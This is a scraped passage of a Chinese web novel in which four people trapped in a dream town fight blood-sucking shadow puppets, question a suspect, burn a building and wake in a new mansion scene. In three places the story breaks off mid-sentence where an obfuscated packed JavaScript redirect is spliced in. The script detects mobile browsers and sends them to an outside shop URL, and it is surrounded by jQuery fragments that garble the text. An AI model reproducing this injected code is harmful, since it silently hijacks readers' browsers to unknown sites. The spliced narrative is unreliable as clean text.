钟白青和邵空青一人一脚踹开两只,接着邵空青迅速弯腰,在几人震惊的目光中,伸手抓住皮影人的双腿,将它往土墙上一甩,又抬脚将它压住。 叶翛华元目瞪口呆,还没反应过来时,皮影人的双手已经掐上邵空青的腿,裤子瞬间被腐蚀,发出“滋滋”声。 钟白青心道不好,迅速将皮影人的胳膊切掉,那双手掉在地上还在乱动,像试图重新掐上邵空青的腿。 钟白青拎着它手臂和身体连接的位置,怼墙上:“抵住。” 华元诶了一声,老老实实照着钟白青的话做。 幸好后续没再出什么差池,把皮影人叠一块后,邵空青用开瓶器尖端穿透它们眉心,固定在土墙上,观察了几秒,确认它们暂时下不来后才终于松手。 整个过程下来椅子腿已经被腐蚀掉一半,钟白青低头看向邵空青的腿,问:“没事吧?” 邵空青摇头,朝她露出一个笑:“没事,多亏你反应快。” 钟白青在心里啧了一声,又不好意思直接去看他伤情,于是转头问叶翛:“翛翛呢,没被碰到吧。” 叶翛拼命摇头:“没有没有,我和华元都没事。” 开什么玩笑,看到邵空青被掐的后果,他们恨不得离皮影人三米远,哪有机会被碰到。 “哦,那就好。”钟白青蔫蔫的,显然心情还是不大好。 邵空青轻轻拍了拍钟白青的肩膀,说:“你们休息会,看着皮影人,我去厨房找找有没有能用的东西。” 邵空青进厨房没多久就出来了,出来时见三人毫无形象坐在地上,也跟着直接席地而坐:“厨房空的,什么有没有,连锅都没有。” “哈?”钟白青气笑了,“所以我们吃的是空气?” 然后她低下头,用军工刀一下一下戳着地面:“我刚才还后悔,白天应该去医院偷套手术刀出来,现在看来估计医院里也是空的。” 可能关键物品全在秦旭或者钟夫人的房间里。 邵空青:“明天还是先去饭店看看吧,看看厨房有没有火源。” 钟白青闻言抬起头,目光扫过他受伤那条腿,借着微弱的月光,隐约能看到里面泛紫渗血的伤口。 她在心里叹气,一时竟分不清究竟是钟夫人更危险,还是厨师更危险。 钟白青声音闷闷的:“你和华元先去医院,我和翛翛去饭店。” 她知道邵空青是担心硬闯钟夫人房间不安全,但他不知道,饭店也很危险。 不过经过皮影人一役,钟白青心里起了一团火。 反正哪里都有危险,那就挨个闯呗。只要找到火源,就一把火把钟宅烧了给自己出气。 墙上的皮影人被钉住后一动不动,看样子也掀不起什么风浪了。 叶翛戳了戳钟白青的腰:“我们要在这里坐着等天亮吗?”她上班多年已经习惯了早睡,这会眼皮已经在打架了。 钟白青摇头:“轮流睡吧。” 钟白青站起身,接着说:“两个人回去拿被褥,两个人在这守着皮影人。一会也分两批轮流睡觉和守夜。华元,你现在跟我去拿被褥。” “啊?哦,好。”见识过钟白青的狠劲,华元现在觉得不管是跟着哪个青,都很安全。 幸好,黑暗的房间里没再钻出新的皮影人,钉在墙壁上的皮影人也的确没了动静。 在地上铺好被褥后,叶翛看看钟白青,又看看邵空青,问:“咱们谁先睡啊。” 钟白青:“翛翛和华元先睡吧。” 华元双手合十:“那可太好了,感谢青姐对牛马的照拂,你是我唯一的姐,明天我一定照顾好邵哥。” 叶翛疑惑:“为什么我们我家白青是青姐,他是邵哥?” 华元满脸嫌弃:“这里如果是什么赵府、钱府,当然就叫钟姐啊。” 叶翛挠头:“呃,有道理哈。” 钟白青催促着两人快睡,随后在邵空青对面坐下,脑袋搁在膝盖上,手里把玩着那把军工刀。 莫名其妙被带到奇怪的古镇上,白天被厨师威胁,晚上还被皮影人追杀,钟白青突然有种被戏耍的感觉。 邵空青打破沉默:“这把刀不错。” “嗯哼,有眼光。”钟白青得意,但胳膊往回收了一点。 邵空青见状略显尴尬,看出她刚才在闷闷不乐,于是转移话题:“别担心,会有办法的。还有8小时天亮,一会好好睡一觉。” 闻言,钟白青没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407484|200599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,脸颊蹭在膝盖上轻轻点了一下头。 没人说话后整个世界都安静下来,微小的虫鸣声从远方传来,把氛围衬托得更静谧。 但是,为什么,好像,有女人在哭? 钟白青皱起眉,仔细听着。 声音来源于他们原先住的那栋二层楼,女人的哭声一阵一阵。 钟白青感觉自己裤腿被人扯了一下,是叶翛,她声音颤抖着问:“白青,你听到了吗?” 钟白青嗯了一声,和邵空青视线对上,他眼中也满是警惕。 钟白青脑中一个念头闪过:“我们是不是忘记了两个人。” “卧槽!”华元弹起,“那对情侣!” 钟白青皱起眉:“我记得停电后,有人尖叫,接着是破窗声,我以为是你们俩太紧张把窗户打碎了。” 现在想想,确实不是他们打碎的窗户。刚才她回房间拿被褥,窗户完好无损。 “难怪他们房门一直关着。”邵空青神色凝重,“当时太混乱了,我原本以为他们房里很安全才没出门。” 再然后他就完全忘记这两个人了。 叶翛:“怎么办,我们要过去看看吗?” 钟白青:“要不两个人去看看?” 钟白青瞥了一眼仿佛死透了的皮影人,安排道:“我和翛翛去吧,你们在这守着皮影人。” 邵空青刚想开口立马被打断:“你受伤就别乱跑了。” “……好。” …… 回到二层小楼前,就见情侣女生正蹲在地上抽泣。 感觉到有人靠近,她猛地一抬头,然后哇地一声哭出来:“你们没死啊,太好了。” 叶翛壮着胆子靠近,问她:“你男朋友呢?” “他死了,呜呜呜……”女生哭得上气不接下气,“只剩你们两个人了吗?” 钟白青沉默半晌,上前拉起她:“没,我们四个都没事,他们在另一边守皮影人,我们先过去吧,等人齐了再说。” “皮影人?你们解决皮影人了?” 钟白青看着黑洞洞的大厅,不想在这种时候废话,催促道:“嗯,先走吧,人多更安全,有什么事待会再说。” …… 当女生看到被钉在墙上的皮影人时,目瞪口呆,随后又忍不住开始啜泣:“早知道就跟着你们了,那他就不会死了……” 叶翛贴心地把女生拉到自己的被褥边,扶着她坐下,安慰道:“等天亮我们一起去找你男朋友吧,万一他没死呢,可能只是被困住了。” 女生擦着眼泪疯狂摇头:“不、不,他死了,活不了了……” “当时突然停电,我们房间里突然多出一个人影。那个人影抓伤了我男朋友,然后我们才看清那是个活的皮影人。” “但是我男朋友说晚上肯定不安全,就用衣柜把门堵死了,当时情况紧急,没有办法,只好打破窗户逃出去。” “谁知道那个皮影人也跟着我们跑出来了,没有办法了,我男朋友就想着去找秦旭,也许秦旭会有办法。” 女生说着,控制不住恐惧睁大双眼:“我们过去后还没来得及敲门,皮影人马上就要追上来了。没有办法,我男朋友就直接推门了……秦旭就在房间里面!” “她不是人!她、她抓住我男朋友,徒手把他头拧下来了!到处都是血!还有那个皮影人!皮影人会吸人血!” 5. 第 5 章 众人沉默了好久,齐齐挪了几步远离皮影人,叶翛被吓得退回钟白青身边抱住她。 钟白青打破沉默:“先休息吧,等天亮去秦旭房间看看。” 说完她看向情侣女生,“你今晚先别睡了。” 一旦她睡觉,怕是梦里全是徒手断头场景,明天醒来估计得疯。 …… 钟白青是被一声尖叫吵醒的。 情侣女生双眼浑浊头发凌乱,抱头尖叫:“秦旭!是秦旭!她来杀我们了!” “?”秦旭止住脚步。 钟白青见她停在两米外,摸着口袋里的军工刀,略微思忖一番,决定先按兵不动。 开什么玩笑,秦旭能徒手拧头,她才不冒险先动手。 邵空青问道:“你昨晚在哪里?” 秦旭露出一个恍然大悟的表情:“你们昨晚也碰上皮影人了?” 没人回应她,见所有人都满脸警惕,秦旭叹了口气接着解释说:“我昨天想出去多找找线索,很晚才回来。路过医院的时候进去想看你们在不在,然后外面突然就停电了。” “除了医院,整个镇子全都停电了,然后就有皮影人从房子里钻出来。我看那些皮影人好像不敢靠近医院,猜测它们怕光,就一直在医院等,天亮后皮影人全部消失,才往这边赶。” “怎么了,发生什么事了?”秦旭脸上的关切不像作假。 钟白青回头看了眼原本钉着皮影人的位置,果然,墙壁上只剩下一个红酒开瓶器,皮影人直接人间蒸发了。 情侣女生尖叫着摇头:“不可能!你撒谎!昨天你明明就在房间!我看见你杀人了!” 秦旭明显愣住了:“什么杀人?已经有人死了?我杀的?” 几人视线交汇一番,最终邵空青开口道:“如果你是无辜的,那带我们去你房间看看吧。” 说完他又看向钟白青,眼神示意情侣女生,问:“要带上她吗?” 女生明显在情绪崩溃边缘,不适合再回事发现场,钟白青想了一下说:“翛翛、华元还有……你叫什么?” “王雪。” “行,一会你们仨在楼下等吧,我和邵空青上去看看。”说完钟白青转头询问秦旭,“行吗?” 秦旭点头同意,看上去确实不知情。 路上秦旭又问了一遍昨晚发生的事,邵空青简单把王雪的话总结了一下转述给她。 秦旭沉默半晌后,小心猜测道:“会不会是王雪产生幻觉了,或者皮影人能伪装成我们的样子?” 钟白青的手一直把玩着口袋里的军工刀,轻哼一声:“或许吧。” 秦旭身份疑点重重,她骗人只需要随口一编,但他们想判断真伪可就难了。 站在门前,秦旭掏出钥匙打开门上的锁,开门后,房内一片整洁。 在秦旭还没反应过来时,钟白青跟邵空青对视一眼,突然绕到秦旭身后,出刀架在她大动脉上。 “不好意思啦,以防万一你偷袭,只能先这样了,不介意我们进去检查一下吧。” 秦旭身体瞬间紧绷,无语地笑笑:“当然不介意。” 随后邵空青仔细检查了一下墙壁和地板缝隙,对钟白青摇摇头:“没有血迹。” 秦旭呼出一口气:“都说了,我昨晚一直在医院。一定是王雪被吓出幻觉了,她男朋友可能是被皮影人处理掉的。” 钟白青没放过秦旭脸上任何一个微表情,她的紧张不像装的,也完全没有试图反抗,脖子一直努力远离刀刃。也许在杀人这件事上,她的确是无辜的。 挖坑、幻象、杀人,种种异常全堆秦旭一个人身上,反而有点刻意了。 钟白青叹了口气,话锋一转:“有钱吗?” 秦旭愣住:“什么?……有。” 钟白青的刀已经蹭破她皮肤了。 “把你有的钱全给我们,还有。”钟白青拽着她转身,面朝隔壁房门口,“这边住的是钟夫人吗?” “是。” “今天有什么安排?” “你们今天要选两个人去给钟夫人面诊。” “什么时间?” “没要求。” “行,给钱吧。” 秦旭指指脖子上的刀:“你这样子,我怎么拿给你。” 钟白青还是没松手:“放在哪?” “左边床头柜第一层。” 钟白青架着秦旭走到床头柜边,邵空青沉默跟着,见二人都腾不出手,主动上前拉开抽屉,里面放着一摞银元。 秦旭抢先开口:“我来的时候抽屉里只有这些,没更多的了。” “行吧。” 钟白青笑眯眯看着邵空青取出银元,送到她面前问:“放你口袋?” 钟白青:“不用,一人一半吧,太重了。” 把秦旭掏得差不多后,钟白青思索一番,最终还是将人放开:“我也不为难你,说说你昨天有什么发现,说完你就该干嘛干嘛去吧。” 秦旭扯扯嘴角:“这不公平吧,你们什么都没告诉我……” 钟白青威胁似的比划了一下刀。 “咳,也没什么发现,我昨天一直在找小镇边界,想试试能不能直接走出去。但是可能有鬼打墙,无论怎么走都没办法靠近城门。” 秦旭两手一摊:“就是因为走太远了,所以才回来得那么晚。” 狡辩成立,钟白青点点头:“行,我们走吧。” …… 在楼下把大致情况说了一下后,王雪满眼不可置信:“怎么可能,我不信,我要上去看看!” 说完王雪就往楼上冲,叶翛没能拉住她急得大喊:“你别跑这么快,秦旭还在上面。” 王雪脚步没停,撂下一句话便消失在楼梯转角:“你们忙你们的,不用管我。” 华元无语:“逆天情侣。” 钟白青出声打断:“算了先别管她了,抓紧时间,我有新安排。” 邵空青侧头看她。 钟白青:“我和翛翛去饭店找火源,华元你陪邵空青去医院,中午我们再到医院门口汇合。” “下午去见一见钟夫人,晚上皮影人可能会卷土重来,我们要提前做好防备。” 即使饭店没火源,钟夫人房间也一定有,就是不知道到时候要怎么弄到手。 …… 钟白青用两块银元包了辆黄包车,挨个找饭店询问。 幸运的是,即使钟白青主动提出要去后厨看看,也没有拿着菜刀的厨师狞笑着出现。 但依旧不让吃饭,也不让进后厨。 叶翛在黄包车上颠吧了小半个上午,想吐胃里又没东西,脸色难看地靠在椅背上:“白青,我快不行了,我们早上忘记吃饭了。” 钟白青脸色也好看不到哪去,她舔了一下嘴唇说:“下个饭店,再不给做饭,我就砸店。” 叶翛依旧脸色凝重:“砸出个恐怖厨师咋办?” 钟白青摸着刀鞘,闷闷开口:“打一下试试,打不过就跑。” 又在一家饭店前停下,钟白青下车活动了一下快散架的胳膊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407485|200599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随后拔出刀鞘,亮着刀走进饭店,大刀阔斧拖了张板凳一坐,也不说话,就坐着玩刀。 这个店里的伙计是个胆小的,哆哆嗦嗦凑上前问她:“客人是来吃饭的?” 钟白青斜睨他一眼:“嗯,你这有饭?” “诶,有的有的,客人您看看菜单。” 哈?怎么的,来硬的就有饭了? 钟白青不答,回头招呼在河边做深呼吸的叶翛:“翛翛,你来点菜。” 叶翛闻言眼睛一亮,小跑着过来:“好耶!” 叶翛跟伙计点菜,钟白青则起身走到柜台前:“你是老板?” 圆脸老板擦了擦头上的汗,点头道:“是的,客人有什么吩咐吗?” “我刚才去了很多家饭店,全都开着门但不营业,为什么你这里营业了?” “这……这都是上面下的命令,原先我们也是不能营业的。”圆脸老板哆嗦着手,使劲擦着头上的汗,“客人您来前没多久,上面刚改的命令,现在可以恢复营业了。客人您来得巧啊。” 眼瞅着伙计和老板都怕得打哆嗦,钟白青在心里啧了一声。 今天的饭店怎么都这么正常?难道是昨天太背了,进了家黑店? “我想去后厨看看。”说完她状似无意地晃了一下刀。 圆脸老板被吓得又是一个哆嗦,陪笑脸说:“可以的可以的,客人您跟我来。” 厨房就在大堂后面,几步路就到了,里面只有一个瘦子厨师,讷讷地打了声招呼。 但在看清厨房内景象后,钟白青被气笑了。 大爷的,这破厨房里用的是燃气灶!而且跟她家用的是同一个牌子! 她总不能扛着燃气灶走吧! “你们做饭用燃气灶?” “对啊对啊,镇长特地从国外进口来的,这个好用啊客人,可不比柴火差。外头的大路灯也是进口来的,这些新鲜玩意全镇都能用上。” 钟白青无语了,所以他们在钟宅吃的柴火香饭菜,是从燃气灶里烧出来的?骗鬼呢。 还有那破路灯,俩晚上都没开!摆给鬼看呢! 看不懂剧情,但明显被针对了,钟白青心情更差了,沉着脸大步走进厨房,搜刮所有能用的东西。 食材、不要;米面、不要;菜刀、拿来吧你;油? 钟白青心中一喜,直接拎走两桶完整的油,不顾老板表情憋屈:“这些东西一会和饭菜一起结账。” 钟白青和叶翛吃饱喝足结账后,带上菜刀和油,又打包了一些饭菜给俩男的带上,在圆脸老板和黄包车师傅复杂的眼神中回医院汇合。 腿上缠着绷带的邵空青和华元刚出医院大门,看到的就是四把菜刀两桶油和一堆打包的饭菜,以及得意洋洋的两个女生。 邵空青看着钟白青,突然笑起来:“你们把饭店打劫了?” 钟白青得意地扬起头:“嗯哼。” 这男的笑脸真标准,还挺好看的。钟白青在心里想。 然后指挥俩男:“拿上东西,回去吃饭,然后出发去会会钟夫人。” …… 几人回去后没找到王雪,最后只能留了一把菜刀在她房里。 等到钟夫人门口时,钟白青出声拦下准备敲门的华元:“等一下!” 空气里有铁锈味。 钟白青后退几步,环顾一下四周,目光定在楼下最高的一棵树上。 树叶很茂密,树顶挂着一件衣服,和钟白青身上的是同款。 是那件戏服,女款民国学生装。 6. 第 6 章 邵空青也看到了那件衣服,皱起眉:“她怎么一个人进去了。” 钟白青:“可能是受刺激太大,也可能是秦旭刻意引导。” 她说着又摇摇头:“不行,我们不能贸然进去。” 情侣男生确实遇害了,王雪没出现幻觉,但早上他们来的时候并没有残留的血腥味,现场也没留下任何可疑物件。 现场特地留下血腥味和衣服,这很不对劲,像是在特地提醒他们,王雪出事了。 他们四人现在还穿着学生装,工牌放在口袋里,白大褂也还躺在衣柜,没人碰过。 钟白青:“我们可能要回去换套衣服再来。” 邵空青很快反应过来:“你的意思是……但是会不会太刻意了。”刻意留下血腥味,又刻意留下学生装。 已经死了两个人,谁会有这么好心,特地保下他们四个? “我也觉得刻意。”钟白青歪头,虚虚扶着脑袋,“但是昨天强制要求我们去医院认证身份,也就是说,我们必须以医生的身份见钟夫人。” 钟白青说着,从口袋取出工牌:“昨天我们都以为白大褂是陷阱,但那是因为,那时候身份不匹配,现在我们的身份升级了。” “要求里明确了两个人面诊,不确定另外两人能不能在门口等。一会就两个人过来吧,另外两人就留房里等。” 几人互相对视一眼,没人接话。 钟白青耸耸肩:“那就还是老样子咯,我和邵空青过来,翛翛你和华元留那边等我们。” 叶翛皱着脸有些不情愿:“白青……” 华元也有点不好意思:“也别每次都麻烦你俩吧,要不这次就我和叶翛来?” 钟白青叹了口气,转身下楼,做手势示意几人跟上。 快到楼底时,钟白青才接着说:“只有钟夫人的房里有火源,让你俩去取我不放心。谁也不知道晚上皮影人会不会再升级,取火一定不能失败。” …… 换好衣服的钟白青邵空青二人重新站在钟夫人房门口,二人对视一眼,同时抬手敲门。 “笃笃笃。” 里面传出一声有些虚弱的女音:“进来吧。” 邵空青推开门,两人同时踏入房中。 房间中央摆着一张圆桌,圆桌上放着一套茶具,一个身穿连衣裙的长发女人正撑着脑袋坐在桌前。 她抬眼扫了二人一眼,又收回目光,恢复眼神空洞的状态:“坐吧。” 钟白青在她正前方入座,邵空青则站在钟白青身后。 钟白青学过心理学,刚才他们商量过,由她吸引钟夫人的注意,邵空青则找机会寻找火源。 钟白青换上营业专用表情,温声开口:“钟夫人,您感觉今天怎么样?” 钟夫人不为所动,反而莫名露出一个诡异的笑:“不好。” 钟白青面不改色继续说:“是哪里不舒服吗,如果实在难受,要不我们去医院做个全面检查?刚好今天太阳很好,听说您很久没出门了,不如今天出个门,刚好晒晒太阳?” 钟夫人终于放下撑着脑袋的手,黑漆漆的瞳孔盯着钟白青,表情逐渐扭曲。 钟白青依旧面不改色,甚至仍保持着标准温和的微笑,就这么和钟夫人对视着。 三分钟后,钟夫人表情恢复正常,但眼神里多了一股狠厉:“她杀了我的丈夫,把我囚禁在这个地方……你能帮我杀了她吗,你能帮我报仇吗?” 钟白青震惊,不是说她抑郁症不出门吗?怎么突然变成非法囚禁了?还有,不是说她老公出轨吗?怎么变成凶杀案了? 钟白青控制住脸上表情,转变为严肃脸:“她是谁?” “她是我最好的姐妹。”钟夫人的声音染上悲伤,“我明明那么照顾她,我对她那么好,她为什么要这么做!我好后悔,如果当初我没有管她,我的丈夫就不会死,我也不会被囚禁在这里一百多年。” 不是,这是什么剧情走向?! 钟白青目瞪口呆,邵空青悄悄往书架挪动的脚步也顿住了,二人不着痕迹视线交错一番,最终还是由钟白青接着安抚道:“你放心,我一定会努力帮你报仇的,所以她究竟是谁?比如,她叫什么?” 钟夫人苦笑着摇头:“我不记得了,她不让我记得她。” “……” 行。 钟白青面露难色,沉吟一会又接着问:“钟夫人,我会尽量帮你找到她给你报仇的。但是目前我和我的朋友们有很大困难,可能需要你的帮助。” 钟夫人面露疑惑:“我怎么帮你。” 皮影人几个字在嘴边反复咀嚼后,钟白青还是决定换一种问法:“你知道为什么晚上不能关灯吗?” 谁想钟夫人闻言激动到撑着桌子站起身:“不能开灯!绝对不能开灯!开了灯她就知道你们在哪了,她会杀把你们也杀了的!” 不是?钟白青气笑了,合着左右都是个死? “那晚上怎么办呢?晚上没有光了。” 钟夫人猛地一顿,缓缓坐下,沉声问道:“你遇到皮影人了?” 钟白青点头。好吧,原来能直接问啊,亏她迂回半天。 钟夫人叹了口气,缓缓说道:“怪我,是我连累了你们。我小时候爱看皮影戏,所以她给我做了很多皮影人,来到这里后,皮影人莫名其妙就活过来了。抱歉,我也不知道怎么帮你们。” 钟夫人说着,双手掩面,长长叹了口气后,不再说话了。 钟白青斟酌白天,还是没把蜡烛俩字问出口。见钟夫人似乎沉浸在回忆里,便用余光偷瞄向邵空青的方向。 好消息,邵空青已经悄无声息挪到书架旁,正小心翼翼在书架里翻找。 坏消息,除了书架,房间里还有一张梳妆台和一张床铺,目前不知道要怎么搜。 钟白青放缓呼吸,同时盯着钟夫人和邵空青的动作,心里盘算着如果钟夫人有异常,接下来应该怎么应对。 运气好的是,邵空青很快在书架夹层里找到一把蜡烛和一根火柴。 他气息稳定,一边关注着钟夫人方向的动静,一边小心但动作利落地将蜡烛和火柴藏进口袋里。 留下一部分蜡烛和火柴后,朝钟白青比了个“OK”的手势,然后装作不经意地挪回钟白青身边。 等人站定后,钟白青柔声开口:“既然这样,钟夫人我们就先不打扰您了,如果有杀人凶手的消息,我们会第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407486|200599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时间通知您,您好好休息,我们先走了。” 闻言,钟夫人才放下捂住脸的手,疲惫地对钟白青点点头后,又恢复了刚进房间时单手撑头发呆的姿势。 …… 远离那栋五层大楼后,钟白青眼珠子转了几圈,看看邵空青,又看看顺利到手的蜡烛和火柴,脑子里全是疑问:“我怎么感觉钟夫人是故意把蜡烛和火柴送我们的,你觉得呢?” 邵空青表示同意:“嗯,所以我给她留了一些蜡烛和火柴。” 钟白青点了一下头,又叹了口气:“还有一件事,我们之前忘记问了。” “怎么才算找到了梦境主人?杀了他?或者剧情结束的时候有个指认凶手环节,把梦境主人指认出来,就算我们赢?” 邵空青沉默摇头,除非现在找到秦旭再问一次。但暂且不谈她会不会老实交代,她今天没再出现过,多半又找不到人了。 钟白青抓抓头发,脑子里又蹦出个新想法,被自己逗笑出声:“走,快回去,我有个新玩法。” …… 然后钟白青在三人震惊的目光中,提着两桶油挨个往房间里泼。 干坏事的时候,她总是笑得特别开心,提着油桶跑上跑下完全不感觉累。 “皮影人不是从房间里出来的嘛,梦境主人不是想整咱们吗,等皮影人出来,我们连皮影人带楼一起给它烧了。” 邵空青对她竖了个大拇指,由衷地夸赞:“你就是个天才。” 然后提起另一桶油,学着钟白青的样子,从另一头开始往房间里泼油。 一切准备妥当后,天色逐渐擦黑,四人各点上一根蜡烛,等待皮影人出现。 耳熟的咚咚锵和咿呀声再次响起时,四人对视一眼,一人一个房间,挨个冲进去,迅速点燃易燃物又迅速冲出来。 咿呀声消失了,取而代之的是刺耳的尖叫和哭喊声,等几人把所有房间全点燃并跑出楼外时,二楼已经烧成了一片火海。 部分皮影人趴在窗户上,双手用力拍打着玻璃,另外一部分想要往外逃的皮影人则大半身体被火焰吞噬,最终倒在大门前,在地上抽搐几下便没了动静。 看着眼前的景象,钟白青嗤笑一声。 幻象不是要烧她吗,现在好啦,火是她放的,但她人安安全全的。 正想着,她心有所感,回头朝钟夫人的房间望去。 她还是穿着那件连衣裙,手中托着一根蜡烛,影子倒映在窗上。 只是这次隔壁秦旭房间一片漆黑,钟夫人看的也不再是隔壁秦旭,而是楼下的他们。 火焰迅速蔓延,逐渐连成一片火海,皮影人扭曲的身影一个接一个地倒下。 是不是快结束了,钟白青心想。 然而事与愿违,当最后一个皮影人倒下,金色的焰心中映出另一番景象。 那是一个更大,更繁荣的院子,大门的牌匾上赫然写着《钟府》二字。 一个看上去约莫8岁,身穿浅绿色旗袍的小女孩站在牌匾下,视线像是能透过火焰直接看到他们。 突然她抬起手,冲他们挥了挥。 钟白青失去意识前,看到女孩无声地张口吐出一个字:“来”。 7. 第 7 章 钟白青是被甜甜的娃娃音叫醒的 “大姐姐?大姐姐醒醒。” 钟白青睁眼,在看清眼前人时,心里一跳。 面前的正是火焰中对她招手的小女孩。 她自己身上穿的衣服也不对,变成了旗袍。 小女孩见她醒了,露出一个腼腆的笑,晃着她的手撒娇道:“大姐姐,你昨天答应,可以领走我房里一个丫头,帮我把小煦换进来,还作数吗?” 钟白青满头问号,大脑飞速运转三秒后,点头:“作数的。” 作什么数啊……现在是什么情况?谁来给她解说一下? 小女孩闻言明显非常开心,拉起钟白青的手就往外走:“谢谢大姐姐,你对我真好。我带你去见见那个丫头,顺便让你看看小煦。” “哦对了,二姐姐说可以送小煦几套衣服,我们先去找二姐姐吧。” 钟白青心里全是疑问,但目前也没别的引导人,毫无对策,索性点头答应。 到二姐姐房间后,钟白青意外又没那么意外地看到,换上旗袍的,睡得正香的叶翛。 看来只换了衣服没换脸。 小女孩松开钟白青的手奔向叶翛,推着她的肩膀喊:“二姐姐,你怎么也睡着啦,快醒醒。” 叶翛被叫醒后,同样是满脸震惊,一双杏眼睁得老大,目光在钟白青和小女孩身上轮换,疯狂给钟白青使眼色。 这什么情况?! 钟白青摇头摊手:不知道啊。 察觉到气氛不对,小女孩情绪瞬间萎靡下来,双手揪住手帕,低下头抬眼偷偷看了二人一眼,小声说:“大姐姐、二姐姐……是不是还是太难为你们了……” “没有没有。”叶翛连忙打断,安抚似的摸摸小女孩的头,然后接着拼命给钟白青使眼色。 钟白青在小女孩面前蹲下,平视着她说:“我和你二姐姐昨晚可能被歹徒伤到了头,忘记了很多事,你能给我们说说吗。” 闻言小女孩倒吸一口凉气:“那些歹徒居然伤了两位姐姐!” 不是?真有歹徒? 小女孩急得原地转圈:“不行不行,此事一定要告诉父亲母亲,大姐姐二姐姐,父亲母亲应该明日才能回来,不然我们现在先去找叔伯们吧。” “别。”钟白青拦下她,“我和你二姐姐失忆这件事不便让更多人知道。” 小女孩急得眼眶泛红,眼泪蓄满眼眶:“大姐姐说的是,但是姐姐们什么都不记得了吗?” 钟白青沉思一会,试探着说:“就连我们的名字……也记不起来了。” 然后两人在小女孩夹着哽咽声的简单的介绍中,稍微了解的目前的情况。 小女孩是钟家最小的七女儿,名为钟锦安。 钟白青和叶翛不知道出于什么原因,变成了钟家的大女儿和二女儿,名为钟锦思和钟锦念。 由于钟家小孩太多,女儿里只有大女儿和二女儿较受重视,钟锦安则没多少话语权,就连给房里加个丫头或是换个丫头都做不到。 昨天钟锦安在街上捡到一个小乞丐,因为小乞丐是个和她差不多年纪的小女孩,她于心不忍,所以偷偷把人带回钟府,找到钟锦思和钟锦念,想求她俩帮忙领走她房里一个丫头,好把小乞丐替换进她房里。 钟锦思答应领走一个丫头,钟锦念则答应帮小乞丐准备几身衣服。 至于昨晚钟府闯入的四个歹徒,据钟锦安所说,是两男两女,进府后便没了踪影。 钟白青和叶翛对视一眼,都从对方眼里看到了无语。 好嘛,换片场了。上个片场演完医生演歹徒,再无缝衔接下个片场,演完歹徒演小姐。 “对了!”钟锦安紧张起来,“大姐夫和二姐夫今日也要回来了,怎么办,要瞒着姐夫们吗。” “……” 钟白青沉默。 有种预感,大姐夫和二姐夫是邵空青华元他们。 这一想法刚冒出,门外就传来通报声:“大小姐、二小姐、七小姐,大姑爷和二姑爷来了。” 钟锦安紧张地抬头看向二人,钟白青则安抚地拍拍她肩膀:“不怕,先出去看看。” 门外院子里站着三个人,通报的灰布衫丫头,以及站在她身后的邵空青、华元两人。 见几人出来,华元眼睛一下就瞪圆了,偷偷用手肘顶了邵空青一下:“我靠哥,真被你猜对了。” 邵空青没动作,笑着的弯弯眼睛远远望向钟白青。 钟白青学着电视剧里看来的台词,挥手让灰布衫丫头退下后,脸上的笑再也绷不住:“精彩。” 钟锦安疑惑地扯了下钟白青的衣角:“大姐姐?” 钟白青拍拍她头:“没事,自己人。” 沉思一番,钟白青又接着说:“锦安,现在带我们去你房里领那个丫头走吧。对了锦念,把衣服带上。” 赶紧把手头的任务做完,把钟锦安弄走,方便他们四个互通信息。 “啊?嗷,等我一下。”叶翛反应了一下,冲回房内,里屋的桌上放着几套灰布衫,和刚才来的丫头穿的是同款。 看见几人的动作,钟锦安刚才还紧张的脸上终于露出笑容:“姐姐、姐夫随我来。” …… 流程很简单,钟白青用钟锦思的身份,随手吩咐一个年龄稍长的灰布衫丫头,把钟锦安房里一个年纪最小的丫头带走后,事情就办妥了。 在叶翛把手里几套衣服也递给钟锦安后,钟锦安脸颊红扑扑的朝二人再次道谢,随后从房里领出一个和她一样高的小女孩。 “大姐姐、二姐姐,这就是小煦。”钟锦安拉着小煦的手,小声对她说,“小煦,多亏了姐姐们,以后你可以和我待在一块啦。” 小煦抬头看了钟白青叶翛一眼,低声说了句:“谢谢大小姐、二小姐。” 看见出来的人,钟白青愣了一下,敷衍地应了一声,脑子里顿时冒出一堆疑问。 这什么情况?小旭和秦旭是什么关系? 先前听到小旭名字时她还没多想,但对上她那双漆黑的眼瞳后,钟白青才终于意识到不对劲。 小旭和秦旭的气质有点像,身上都有股化不开的阴沉气。秦旭的稍淡,小旭的则重得有点压人。 想着,钟白青的目光又定在钟锦安身上。 可那身绿旗袍会不会也是某种暗示? 钟白青早就注意到了钟锦安旗袍的颜色,但目前看来只有她一人穿这个颜色。 两场戏的背景 